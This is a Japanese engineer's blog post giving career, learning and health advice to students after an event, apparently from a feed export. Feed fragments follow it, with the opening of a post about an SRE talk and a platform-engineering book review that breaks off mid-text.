この記事では、学生の皆さんから頂いた質問と回答を整理してまとめました。完璧な内容ではないかもしれませんが、対話を通じてかつての自分自身の悩みや不安が蘇り、過去の自分に語りかけているような不思議な感覚を覚えました。この内容が、ご質問いただいた学生の皆さまはもちろんのこと、同様の悩みを抱えているすべての方々の参考となれば幸いです。なお、各回答は異なる方々からの質問に対して、それぞれの文脈に沿ってお答えしたものとなっております。Q.失敗するのが怖くて全体として中途半端になってしまうこの質問をされた時に分かりすぎて泣きそうになった。エンジニアとして働いてきたり少し長く生きた経験から言えることは、失敗を恐れることよりも、挑戦しないことのほうが人生にとって大きなリスクとなるということです。結局のところ、これは自己愛の問題なのかもしれません。「時間を無駄にしたくない」「労力を無駄にしたくない」「チャンスを無駄にしたくない」。そういった思いが強すぎると、かえって何も始められなくなってしまいます。この「無駄にしたくない」という感情の根底には、自分を大切にする気持ちが強すぎるあまり、逆に自分を縛ってしまうというパラドックスがあります。完璧を求めすぎる。失敗を許せない。その背景には、実は自分への過度な期待や要求があるのです。嫌われる勇気作者:岸見 一郎,古賀 史健ダイヤモンド社Amazonでも、人生は無駄にしても良いんです。むしろ、無駄を恐れるあまり何も挑戦しないほうが、本当の意味で人生を無駄にしてしまうことになります。健全な自己愛とは、失敗しても自分を受け入れられる強さ、完璧でない自分を許せる余裕を持つことなのです。人生で最も価値のあるものは、一朝一夕には手に入りません。技術力も、人間関係も、信頼も、全て時間をかけて少しずつ築き上げていくものです。その時間を掛けられるかどうかは、今この瞬間にどれだけ自分を信じられるかにかかっています。そして、自分を信じるためには、失敗した自分も含めて、まるごと受け入れる覚悟が必要です。実は、本当に価値のあるものには、必ず痛みが伴います。すぐに得られる快楽は往々にして一時的なものですが、時間をかけて獲得したものこそが、本物の価値を持つのです。エンジニアとしての技術力も同じです。一朝一夕には身につかず、時には挫折も味わう。でも、その痛みを受け入れ、耐えることができれば、必ず実を結ぶのです。私自身、数々の失敗を経験してきました。コンテストに出て準備不足で大敗したり、本番環境でのデプロイミス、重要な機能の設計ミス、プロジェクトの見積もり違い、スタートアップへの参画での関わり方の間違いなど。一見すると、これらは全て「無駄な失敗」のように思えます。しかし、これらの失敗は全て、今の私の技術力と判断力の基礎となっています。失敗から学べる環境は、社会人になるとむしろ少なくなります。学生時代は、失敗から学ぶ最高の機会なのです。小さな挑戦から始めて、失敗した時の対応策を事前に考えておく。そして失敗から学んだことを必ず記録し、同じ失敗を繰り返さない仕組みを作る。これが私の失敗との向き合い方です。完璧を目指すのではなく、失敗してもいいと自分に許可を出すこと。そこから本当の挑戦が始まるのです。これは、自分を信頼し、自分を大切にする健全な自己愛の表れでもあります。また、簡単に手に入るものは、簡単に失われます。でも、痛みを伴って得たものは、決して簡単には失われない。この事実を心に留めておいてください。そして、これは自分自身との関係性においても同じことが言えます。自分を大切にしすぎるあまり縛ってしまうのではなく、失敗も含めて受け入れる。その寛容さこそが、本当の意味での自己愛なのかもしれません。超一流になるのは才能か努力か? (文春e-book)作者:アンダース・エリクソン,ロバート・プール文藝春秋AmazonQ.プログラミングがあまり分からなくて不安ですこれはとても一般的な不安です。実は私も、そして多くのエンジニアも同じ経験をしてきました。プログラミングの習得は、多くの人が思い描くような線形的な成長カーブを描きません。理解が全く進まないように感じる時期が長く続き、そしてある日突然、「あ、わかった!」という瞬間が訪れるのです。これは私たちの脳が新しい概念を理解する際によく見られるパターンです。たとえば、プログラミングの各種概念は最初のうちは本当に理解が困難です。でも、ある時を境に急に全体像が見えてくる。それまでモヤモヤしていた霧が晴れるように、概念が腑に落ちる瞬間が必ずやってきます**。だからこそ、今理解できないからと諦めるのは本当に惜しいことです。理解できないのは当たり前の段階なのです。むしろ、理解できなくて当然の時期を耐え忍ぶことこそが、プログラミング習得の本質とも言えます。私たちはどう学んでいるのか ――創発から見る認知の変化 (ちくまプリマー新書)作者:鈴木宏昭筑摩書房Amazonそれと合わせて、私から一つアドバイスさせていただきたいことがあります。それは言語化能力を磨くことです。プログラミングの学習において、概念を言葉で説明できる能力は非常に重要です。なぜなら、自分の理解を言葉にすることで、その理解がより深まり、また他者と共有できるようになるからです。学んだことを日記やブログに書き留めることから始めてみましょう。技術書を読んでその内容を自分の言葉で要約してみる。分からないことを質問する際にも、自分の理解状態を具体的に言語化してみる。これらの活動は、一見するとプログラミングの学習から外れているように思えるかもしれません。しかし、言語化能力はエンジニアにとって、いくら高くても困ることのないスキルです。コードを書く力と、それを説明する力。この両輪があってこそ、真に優れたエンジニアとなれるのです。最後に繰り返しになりますが、今の不安は決して特別なものではありません。理解できないことに耐え、学び続ける勇気さえあれば、必ず道は開けます。今は理解できなくても、それは単に「まだ」理解できていないだけなのです。焦らず、諦めず、そして何より自分を信じて、一歩ずつ前に進んでいってください。ワイド新版 思考の整理学 (単行本 --)作者:外山 滋比古筑摩書房AmazonQ.キャリア形成をするときにどうすればよいでしょうか?10年程度のエンジニア経験を通じて、最も重要だと感じているのは「計画的偶発性」の考え方です。予期せぬチャンスは必ず訪れますが、それを活かせるかどうかは、日頃の準備にかかっています。そして、どのような道を選んでも、基礎的なスキルの習得は必須です。技術力はもちろん、コミュニケーション能力、プロジェクトマネジメントの基礎、ドキュメンテーションスキルなど、技術以外の部分が実は大きな差を生みます。これらを支えるのが規則正しい生活習慣です。質の良い睡眠、バランスの取れた食事、適度な運動。この当たり前のことを当たり前にできることが、長期的なキャリアを支える土台となります。最後に付け加えておきたいのは、最初の選択が全てを決めるわけではないということです。キャリアは常に変化し続けるものであり、必要に応じて軌道修正することも可能です。大切なのは、その時々で最善と思える選択をし、その環境で最大限学び、成長することです。イシューからはじめよ[改訂版]――知的生産の「シンプルな本質」作者:安宅和人英治出版AmazonQ.就活のときに気にしたほうがいいこと就職活動で自分が気にしていたのは相手の立場や背景を理解したコミュニケーションです。人事部門、現場エンジニア、経営層など、話す相手によって重視する観点が異なります。同じ経験や能力でも、相手の関心に応じて伝え方を工夫する必要があります。人事との対話では、将来のキャリアビジョンやチームへの貢献について。現場エンジニアとは技術的な興味や具体的な実装経験について。経営層にはビジネスへの理解や組織全体への価値提供について。このように文脈に応じて自分の強みを効果的に伝えられることが重要です。また、会社選びにおいては技術環境だけでなく、育成・評価制度やチームの雰囲気も重要な要素です。メンター制度の有無、技術研修の充実度、キャリアパスの明確さ。そしてチーム内のコミュニケーションスタイル、残業や休暇の取得状況、チーム間の連携方法。これらが実際の働きやすさを大きく左右します。このような状況に応じたコミュニケーション能力は、就活だけでなく、その後のエンジニアとしてのキャリアでも大きな差となって現れます。相手の関心や視点を理解し、それに応じて自分の経験や考えを効果的に伝える。これは単なる処世術ではなく、エンジニアに求められる重要なスキルの一つなのです。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonQ.学生の間でやったほうがいいこと正直に申し上げると、この質問に対する模範解答を示すことは避けたいと思います。なぜなら、誰もが自分の人生の主人公であり、その選択に責任を持つべきだからです。ただし、一つだけ確実に言えることがあります。それは、誰もあなたを救ってくれないということです。社会人になってから「あの時こうしておけば良かった」と思うことは誰にでもあります。しかし、それはその時の自分が選択した結果であり、その選択に対する責任は自分自身にあるのです。あなたの人生の舵を取れるのは、あなただけです。そして、その選択の結果として感じる後悔も、あなただけのものです。他人の経験談や助言は参考程度に留め、最終的には自分で考え、決断し、その結果に向き合う覚悟を持ってください。SOFT SKILLS ソフトウェア開発者の人生マニュアル 第2版作者:ジョン・ソンメズ日経BPAmazonQ.SREって何ですか?この質問に関しては、私が以前書いた「点でしかないものを線で見る為に - 「SREの前に」」というブログ記事と登壇資料を紹介しました(同運営イベントなので・・・)。syu-m-5151.hatenablog.comこの記事では、SREの考え方や、実践に必要な基礎知識について詳しく解説しています。あとはインフラエンジニア版の競技プログラミングサイトを紹介した。sadservers.comQ.生産性を上げる方法はありますか?私からの回答は明確です。「スマートフォンを制限すること」に尽きます。現代の最大の生産性の敵は、実はポケットの中にあります。スマートフォンは素晴らしいツールですが、使い方を誤ると大きな時間泥棒となります。これは単なる時間管理の問題ではありません。スマートフォンやSNSは、意図的に依存性を持つように設計されています。「ついスマホを見てしまう」「暇があれば通知をチェックしている」「SNSやYouTubeを見ていたら、気づいたら何時間も経っていた」—これらは偶然ではありません。これらのプラットフォームは、ドーパミンという報酬物質を放出させ、継続的な使用を促す仕組みになっているのです。その影響は私たちの生活のあらゆる面に及びます。集中力の低下により、情報過多で何をしようとしていたのかを忘れてしまう。メンタルヘルスへの悪影響として、衝撃的なニュースや他人の投稿を見て不安や劣等感を感じる。さらには睡眠の質の低下をもたらし、就寝前の使用が質の良い睡眠を妨げています。では、具体的にどうすれば良いのでしょうか。まずは物理的にスマホを遠ざけることから始めましょう。自分の部屋に置かないという選択は、思い切った対策に思えるかもしれませんが、効果は絶大です。目覚まし時計などのような、スマホの代替となるツールを積極的に活用することで、依存度を下げることができます。そして何より大切なのは、リアルで人と会って交流することです。オンラインのつながりに頼りすぎると、かえって孤独感が深まることがあります。実際の対面でのコミュニケーションは、心の健康を保つ上で非常に重要です。重要なのは、これは決してあなたの意志の弱さが原因ではないということです。現代のテクノロジーは、人間の脳の仕組みを巧妙に利用するように設計されています。だからこそ、意識的な制限と代替手段の確保が必要なのです。休憩時間もスマートフォンに頼るのではなく、軽い運動や瞑想を取り入れる。寝る前の読書習慣をつけるなど、スマートフォンに依存しない生活リズムを作ることで、驚くほど生産性が向上します。あなたの本来の能力を最大限に発揮するために、まずはスマートフォンとの適切な距離感を見つけることから始めてみてください。スマホ脳(新潮新書)作者:アンデシュ・ハンセン新潮社AmazonQ.周りのすごい人と比べてしまって落ち込みますこの悩みをよく聞きます。俺も思います。確かに私たち人間は、ついつい目に見えるラベルで判断してしまいがちです。学歴、過去の実績、Xのフォロワー数、有名企業でのインターン経験、GitHubのスター数など。でも、エンジニアの本当の凄さは、そんな表面的なところにはありません。人生は、運よりも実力よりも「勘違いさせる力」で決まっている作者:ふろむだダイヤモンド社Amazon私が長年エンジニアとして働いてきて確信しているのは、本当に優れたエンジニアの価値は、その人が直面する問題をどう解決するか、チームにどう貢献するか、そして日々どう成長していくかにあるということです。時には、ほんの些細な気づきや熱量や視点の違いが、大きなアウトプットの差を生むことがあります。これは学生時代に限らず、社会人になってからも同様です。確かに、自分が目指したいキャリアイメージに向けて、意識的にある種のラベルを獲得しようとすることは否定しません。それも一つの戦略です。ただし、より重要なのは、自分の思考プロセスや行動を明確に言語化できる能力です。「なぜその選択をしたのか」「どのように問題を解決したのか」を論理的に説明できる人は、社会に出てからより高く評価される傾向にあります。肩書きや過去の実績は、その人の一部分でしかありません。むしろ、今この瞬間にどれだけ真摯に技術や事業と向き合っているか、どれだけ学ぼうとする意欲があるか、そしてどれだけチームに価値をもたらしているか。そういった日々の積み重ねこそが、エンジニアとしての本質的な価値を形作っていくのです。だからこそ、表面的なラベルで自分を判断する必要はありません。あなたにしかできない貢献の仕方があり、あなたにしかない成長の道筋があるはずです。重要なのは、自分の考えや行動を明確に言語化し、それを他者と共有できること。そして、他の人と比べるのではなく、昨日の自分と比べて、一歩ずつでも確実に前に進んでいくことです。いかにして問題をとくか作者:G.ポリア丸善出版Amazon余談ですが、技術的な記事を書いたり登壇したりすることで「いいね」を集めたり、ハッカソンやビジネスコンテストで賞を獲得したりすることで得られる達成感は、一時的な快感に過ぎず、あくまでも外部からの評価でしかありません。イベントやSNSでの反響は確かにモチベーションの維持や目標設定には有効です。しかし、それを自分の技術力の証明と混同してしまうのは危険です。特に、外部での評価が高まると実際の技術力以上に自己評価が膨らみがちです。定期的に競技プログラミングやISUCON、CTF、学生ならICTSCにでも参加して、自分の現在地を冷静に確認することをお勧めします。結局のところ、ソフトウェアエンジニアにとって最も大切なのは、地道なコーディングと技術力の着実な積み重ねなのです。質問ではないのですが投稿まとめツイートの内容をサクッとまとめます。エンジニアの間で「運動が大切だ」という話をよく耳にします。確かにその通りですが、健康維持には運動以外にも同等に重要な要素が複数あります。これは人生の多くの側面に当てはまる話です。「すごい」と感じる人に出会ったとき、その瞬間にその人と自分の実力差や実績の差に圧倒されがちですが、実はそれは表面的な差でしかありません。大切なのは、基本的な生活習慣を整え、地道な努力を10、20年単位で継続できるかどうかです。短期的には大きな差が付いているように見えても、正しい生活習慣と共に粘り強く継続することで、必ず追い付き、追い越すことができます。運動脳作者:アンデシュ・ハンセンAmazon質の良い睡眠は、技術の習得と定着に直接的な影響を与えます。睡眠中、脳は日中の学習内容を整理し、長期記憶として定着させる重要な作業を行っています。しかし、多くのエンジニアは必要な睡眠時間を確保できていない「睡眠負債」の状態にあります。これは単なる「睡眠不足」という言葉で片付けられる問題ではありません。借金と同じように、睡眠負債は返済が滞ると、脳も体も思うように機能しなくなり、最終的には「眠りの自己破産」を引き起こしてしまいます。その結果、集中力の低下、記憶力の減退、さらには深刻な健康上の問題まで引き起こす可能性があります。特に危険なのは、睡眠負債による「マイクロスリープ(瞬間的居眠り)」です。1秒未満から10秒程度の意識の途切れは、本人も気づかないうちに起こり、作業中の重大なミスや事故につながりかねません。コードレビューやインフラ作業など、高度な注意力を要する作業において、これは深刻な問題となります。対策として重要なのは、就寝前のブルーライトを避け、規則正しい睡眠サイクルを維持することです。週末の寝だめでは解決しない睡眠負債を作らないよう、平日から意識的に睡眠時間を確保することが、長期的な学習効率と作業パフォーマンスを支える土台となります。スタンフォード式 最高の睡眠作者:西野 精治サンマーク出版Amazon適切な食事も、持続的な集中力の維持に不可欠です。ただ、多くのエンジニアに共通して見られる問題として、安易に糖質に偏った食事を選択しがちという傾向があります。手軽なカップ麺やパン類、菓子類への依存は、一時的な満足感は得られても、長期的には集中力の低下を招きます。特に気をつけたいのがタンパク質の摂取不足です。プログラミングは脳を使う仕事であり、脳の働きを最適化するためには十分なタンパク質摂取が欠かせません。忙しい中でも、プロテインドリンクの活用や、コンビニで手に入る鶏むね肉のサラダなど、手軽にタンパク質を補給できる方法を確保しておくことをお勧めします。ここで個人的におすすめなのが低温調理器の活用です。特に鶏むね肉の調理に関しては、低温調理器があれば手間をかけずに柔らかく美味しいタンパク質を確保できます。帰宅後に調理を始めるのは大変ですが、低温調理器なら出勤前にセットしておくだけで、帰宅時には完璧な火加減の料理が待っています。しかも、大量調理が可能なので、一度の調理で数日分のタンパク質を準備できます。コーヒーや糖分に頼りすぎない食生活を意識することも重要です。特に朝食では、炭水化物とタンパク質をバランスよく摂取することで、一日を通して安定したパフォーマンスを発揮できます。疲れない体をつくる最高の食事術作者:牧田善二小学館Amazonそして見落とされがちなのが、意識的な休養時間の確保です。連続的な作業は、必ずしも生産性の向上には繋がりません。むしろ、疲れをごまかして動き続けることは、回復に要する時間を延ばすだけでなく、深刻な健康上の問題を引き起こす可能性があります。休養には「生理的休養」「心理的休養」「社会的休養」の3種類があり、これらを適切に組み合わせることで、より効果的な疲労回復が期待できます。ただし、ここで言う休養とは、スマートフォンを触ることではありません。むしろ、休憩時間にスマートフォンを見ることは、脳を別の形で疲労させてしまう最悪の選択と言えます。理想的な休養とは、「自分で決めた」「仕事とは関係ない」「成長できる」「楽しむ余裕がある」という条件を満たした活動を指します。これらの要素が揃うことで、単なる休憩ではなく、心身の本質的な回復と成長をもたらす「攻めの休養」となります。デジタルデバイスから完全に離れ、心身をリセットする時間が必要です。短い散歩や深呼吸、窓の外を眺めるなど、意識的に何もしない時間を作ることで、脳は自然と新しいアイデアを生み出す準備を整えていきます。これは一見、時間の無駄に思えるかもしれませんが、長期的な生産性向上には不可欠な投資なのです。休養学―あなたを疲れから救う作者:片野 秀樹東洋経済新報社Amazon運動も確かに重要ですが、それは全体の一部分でしかありません。質の良い睡眠、バランスの取れた食事、適切な休憩。これらすべての要素が揃って初めて、エンジニアとして最高のパフォーマンスを発揮できるのです。ぜひ、生活習慣全体を見直す機会にしていただければと思います。おわりに後から見返すと純粋な学生に対して偉そうで斜に構えた回答をしてるなぁ… もっとベタをやれって思ってしまいました。ともあれ無事に終わって良かったです。学生の皆さんと対話できる貴重な機会を得て、私自身も多くの気づきがありました。かつての自分も同じような不安や悩みを抱えていたことを思い出し、その時の気持ちが今でも鮮明に蘇ってきます。そして不思議なことに、皆さんの質問に答えながら、過去の自分自身とも対話をしているような感覚がありました。技術の世界は常に変化し続けています。その中で最も重要なのは、技術そのものではなく、技術を学び続ける力、問題を解決する力、そして人と協力する力です。これは今も昔も変わらない真理だと感じています。皆さんには無限の可能性があります。当時の私がそうだったように、今は不安や迷いがあるかもしれません。でも、その不安を抱えながらも一歩を踏み出す勇気があれば、必ず道は開けます。失敗を恐れず、積極的に挑戦し続けてください。私たち社会人エンジニアは、かつての自分を重ねながら、皆さんの成長を心から応援しています。そして、この対話を通じて、私自身も過去の自分と向き合い、その不安や迷いを受け止め直すことができました。私たちは常に、過去の自分を励ましながら、未来の誰かの道標となれるよう成長し続けているのかもしれません。なお、イベントでお会いした学生の皆さん、もし追加の質問や相談事があれば、お気軽にDMをください。可能な範囲で、皆さんのキャリアについて一緒に考えていけたらと思います。pitta.me","isoDate":"2024-11-16T15:34:21.000Z","dateMiliSeconds":1731771261000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"点でしかないものを線で見る為に - 「SREの前に」というタイトルで登壇しました。","link":"https://syu-m-5151.hatenablog.com/entry/2024/11/11/110223","contentSnippet":"はじめに先日、技育プロジェクト(株式会社サポーターズ)主催の技育CAMPアカデミアという勉強会にて「SREの前に」というイベントで登壇する機会をいただきました。今回は「点」としての情報を「線」として繋げて見ることの重要性について、お話しさせていただきました。このイベントは、特にこれからSREを目指す学生の方々に向けて、運用の基礎的な考え方や歴史的背景を共有することを目的としています。サピエンス全史 上 文明の構造と人類の幸福 (河出文庫)作者:ユヴァル・ノア・ハラリ河出書房新社Amazonイベントページtalent.supporterz.jpどこにでも答えがある時代私たちは情報があふれる時代に生きています。技術書やオンラインドキュメント、技術ブログ、そして最近では生成AIなど、様々な方法で技術知識を得ることができます。しかし、これらの情報の多くは「点」として存在しています。なぜその技術が生まれたのか、どのような課題を解決しようとしていたのか、当時のエンジニアたちは何を考えていたのか―――そういった文脈や歴史的な背景は、資料や書籍だけでは見えづらいものです。それでも必要とされるエンジニアになってほしい「SREとは何か」という知識自体は、今や簡単に手に入ります。しかし、なぜSREという概念が必要とされるようになったのか、従来の運用との本質的な違いは何か、といった背景を理解することは容易ではありません。運用の世界では、過去の経験や失敗から学び、それを現在の実践に活かすことが非常に重要です。こうした経験や知見は、単なる技術ドキュメントからは読み取ることが難しいのです。そして、さらに重要なのは、その時々の「正解っぽい何か」を理解し、実際の課題解決に活かせるようになることです。技術やプラクティスは、それ自体が目的なのではありません。例えば、SREの施策やベストプラクティスも、結局のところ「どうすれば安定的にサービスを運用できるか」という課題に対する一つの解答なのです。私たちに求められているのは、その解答を理解し、自分たちの文脈に合わせて適切に活用していく力ではないでしょうか。技術の変遷を知ることで見えてくるものこの20年間で技術は劇的に変化しました。クラウドの普及、コンテナ技術の発展、マイクロサービスアーキテクチャの採用など、システムの在り方そのものが大きく変わってきています。しかし、これらの変化の根底には「より良いサービスを、より確実に、より効率的に提供したい」という普遍的な願いがあります。技術の進化を「新しい技術の登場」としてだけでなく、「なぜその技術が必要とされたのか」という視点で理解することで、次に何が必要とされるのか、自分たちはどう進化していくべきなのかが見えてくるはずです。発表を通じて伝えたかったこと今回の発表で、特に若手エンジニアの皆さんに伝えたかったのは、技術を「点」で捉えるのではなく、その背景にある文脈や歴史的な流れを「線」として理解することの大切さです。これは単に「過去を知る」ということではなく、未来への洞察力を養うことにもつながります。変化の激しいIT業界では、個々の技術は常に進化し、新しいものに置き換わっていきます。しかし、その変化の本質を理解し、次の一手を考えられるエンジニアこそが、これからも必要とされ続けるのだと信じています。そして、これは重要な点なのですが、私たちが目にする技術の変遷は、常に正解への道のりだったわけではありません。むしろ、その時々の制約や状況の中で、エンジニアたちが必死に模索した結果の一つにすぎません。「その時はそれしか選択肢がなかった」という判断もまた、とても重要な文脈です。この視点を持つことで、現在の技術選択に対しても、より深い理解と柔軟な判断が可能になるのではないでしょうか。発表資料 speakerdeck.com今回の発表では、以下のような内容をお話させていただきました。運用の歴史的変遷2000年代前半の運用現場では、多くが手作業で行われ、開発チームと運用チームの間には大きな壁が存在していました。その後、2009年頃からDevOpsの概念が登場し、開発と運用の協調が重要視されるようになりました。2010年代に入ると、GoogleによってSREが体系化され、データドリブンな運用やプロアクティブな障害対策が標準的なアプローチとなっていきました。現代の運用における課題現在のSREは、システムの複雑化やマイクロサービスアーキテクチャの採用により、新たな課題に直面しています。特に以下の点が重要になってきています:システムの複雑性の管理クラウドネイティブ環境での信頼性確保組織の成長に伴う運用のスケーリング継続的なシステム改善の実現歴史から学ぶ重要性発表では特に、過去の経験や失敗から学ぶことの重要性を強調しました。技術の進化は決して直線的ではなく、過去の課題が形を変えて再び現れることも少なくありません。そのため、歴史的な文脈を理解することは、現在の課題に対する解決策を考える上で非常に重要です。この発表が、技術を学ぶ方々、特に学生の皆さんにとって、個々の知識を繋げて理解するための一助となれば幸いです。単に「今」の技術トレンドを追いかけるだけでなく、その背景にある文脈や歴史を理解することで、より深い技術理解と、将来の変化への対応力を身につけることができるのではないかと考えています。システムの本質を見失わないために本発表では詳しく触れませんでしたが、ここで一つ重要な課題に言及しておきたいと思います。クラウドの発展は、確かにシステム開発を劇的に効率化しました。ですが、その便利さは大きな落とし穴も持っています。クラウドの力が強大になり、エンジニアの技術力が相対的に低下し、それがさらなるクラウド依存を生む。この負のサイクルは、私たちの目の前で着実に進行しています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonシステムが動作している状態さえ維持できれば問題ないという考え方や、複雑な問題はクラウドサービスに任せておけばよいという姿勢は、一見合理的に見えます。しかし、システムの性能改善や障害対応時に、表面的な理解しかないエンジニアには、その本質的な原因を特定することすらできません。各システムの深い理解と、時には「痛み」とも呼べる経験は必要不可欠です。しかし、「動いているからいい」という現状で、この必要性を伝えることは非常に難しい。これは現代のエンジニアリング教育における最大の課題です。禅とオートバイ修理技術 下 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonエンジニアリングの本質は表面的な最適化ではありません。まず根本的な理解があり、その上で適切な抽象化や最適化を行う―――これこそが、私たちが目指すべき姿なのです。コンピュータの構成と設計 MIPS Edition 第6版  上・下電子合本版作者:David Patterson,John Hennessy日経BPAmazon最後に今回の発表を通じて、多くの学生の方々と交流する機会を得ました。皆さんの熱心な質問や鋭い観察には、とても励まされました。もうすぐ30歳を迎える身として、学生の皆さんの真摯な質問一つひとつに胸が熱くなり、できる限り丁寧に答えたいという気持ちで一杯になりました。実は私自身、学生時代は進むべき道に悩み、多くの不安を抱えていました。だからこそ、今回質問をしてくださった学生の皆さん、そしてイベントに来てくださった全ての方々と、いつかじっくりとお話ができればと思っています。(ちなみに、この年になっても人見知りが抜けず、時々無愛想な態度をとってしまうことがあります。そんな時は「まだまだ成長途中のエンジニア」として、温かい目で見守っていただけると嬉しいです)技術の世界は日々変化していきますが、その変化の中に普遍的な価値を見出し、理解を深めていく姿勢は、エンジニアとして成長していく上で最も重要な要素の一つだと考えています。時には「その時はそれしか選択肢がなかった」という判断があったことを理解しつつ、過去のエンジニアにリスペクトを送りつつ私たちはきっと、この悩みや探求の過程を共有することで、共に成長していけるはずです。最後に、このような貴重な機会を提供してくださった技育プロジェクト(株式会社サポーターズ)のスタッフの皆様、そして参加してくださった皆様に心より感謝申し上げます。若手エンジニアの皆さんの成長を、これからも微力ながら支援させていただければ幸いです。","isoDate":"2024-11-11T02:02:23.000Z","dateMiliSeconds":1731290543000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"SREの前に","link":"https://speakerdeck.com/nwiizo/srenoqian-ni","contentSnippet":"2024年11月06日(水) 18:00~19:00の予定に遅刻してしまい、大変申し訳ございませんでした。お詫びとして、当初非公開予定であった資料を公開させていただきます。元々、公開する予定ではなかったので補足が足りない部分などあると思いますのでご容赦下さい。\r\rブログなどで補足情報出すかもなので気になればフォローしてください\r- https://syu-m-5151.hatenablog.com/\r- https://x.com/nwiizo\r\r\rSREの前に - 運用の原理と方法論\r公式URL: https://talent.supporterz.jp/events/2ed2656a-13ab-409c-a1d9-df8383be25fd/","isoDate":"2024-11-06T05:00:00.000Z","dateMiliSeconds":1730869200000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","link":"https://syu-m-5151.hatenablog.com/entry/2024/10/25/060600","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White 